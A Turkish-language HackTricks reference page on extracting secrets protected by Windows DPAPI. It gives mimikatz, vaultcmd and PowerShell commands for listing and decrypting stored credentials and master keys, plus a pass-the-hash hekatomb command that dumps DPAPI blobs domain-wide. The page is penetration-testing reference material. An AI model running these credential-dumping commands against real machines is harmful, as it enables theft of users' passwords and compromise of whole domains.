DPAPI - Şifrelerin Çıkarılması

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

DPAPI Nedir

Data Protection API (DPAPI), esasen Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılmaktadır ve kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanır. Bu yaklaşım, geliştiricilerin kullanıcıların oturum açma sırlarından veya sistem şifrelemesi için sistemin alan kimlik doğrulama sırlarından türetilen bir anahtar kullanarak verileri şifrelemelerine olanak tanıyarak şifrelemeyi basitleştirir; böylece geliştiricilerin şifreleme anahtarının korunmasını kendilerinin yönetmesine gerek kalmaz.

DPAPI Tarafından Korunan Veriler

DPAPI tarafından korunan kişisel veriler arasında şunlar bulunmaktadır:

  • Internet Explorer ve Google Chrome'un şifreleri ve otomatik tamamlama verileri
  • Outlook ve Windows Mail gibi uygulamalar için e-posta ve dahili FTP hesap şifreleri
  • Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için şifreler, şifreleme anahtarları dahil
  • Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için şifreler
  • Credential Manager tarafından yönetilen ağ şifreleri ve CryptProtectData kullanan uygulamalardaki kişisel veriler, örneğin Skype, MSN messenger ve daha fazlası

Liste Vault

bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Kimlik Bilgisi Dosyaları

Korunan kimlik bilgisi dosyaları şunlarda bulunabilir:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Mimikatz dpapi::cred kullanarak kimlik bilgileri bilgilerini alın, yanıtınızda şifreli veriler ve guidMasterKey gibi ilginç bilgiler bulabilirsiniz.

bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

mimikatz modülünü dpapi::cred uygun /masterkey ile şifre çözmek için kullanabilirsiniz:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Master Keys

DPAPI anahtarları, kullanıcının RSA anahtarlarını şifrelemek için %APPDATA%\Microsoft\Protect\{SID} dizininde saklanır; burada {SID} o kullanıcının Güvenlik Tanımlayıcısı dır. DPAPI anahtarı, kullanıcıların özel anahtarlarını koruyan anahtar ile aynı dosyada saklanır. Genellikle 64 bayt rastgele veriden oluşur. (Bu dizinin korunduğunu ve bu nedenle dir komutunu kullanarak listeleyemeyeceğinizi, ancak PS'den listeleyebileceğinizi unutmayın).

bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Bu, bir kullanıcının bir dizi Master Key'inin nasıl görüneceğidir:

Genellikle her master key, diğer içeriği şifreleyebilen bir şifreli simetrik anahtardır. Bu nedenle, şifreli Master Key'i çıkarmak, daha sonra onunla şifrelenmiş diğer içeriği şifrelemek için ilginçtir.

Master key'i çıkar ve deşifre et

Master key'i çıkarmak ve deşifre etmek için bir örnek için https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ gönderisine bakın.

SharpDPAPI

SharpDPAPI, @gentilkiwi'nin Mimikatz projesinden bazı DPAPI işlevselliğinin C# portudur.

HEKATOMB

HEKATOMB, LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC aracılığıyla etki alanı denetleyici yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Script, ardından tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların tüm DPAPI blob'larını almak için tüm bilgisayarlarda smbclient gerçekleştirecek ve her şeyi etki alanı yedek anahtarı ile deşifre edecektir.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAP'tan çıkarılan bilgisayar listesi ile, onları bilmeseniz bile her alt ağı bulabilirsiniz!

"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsini hackleyin."

DonPAPI

DonPAPI, DPAPI tarafından korunan sırları otomatik olarak dökebilir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin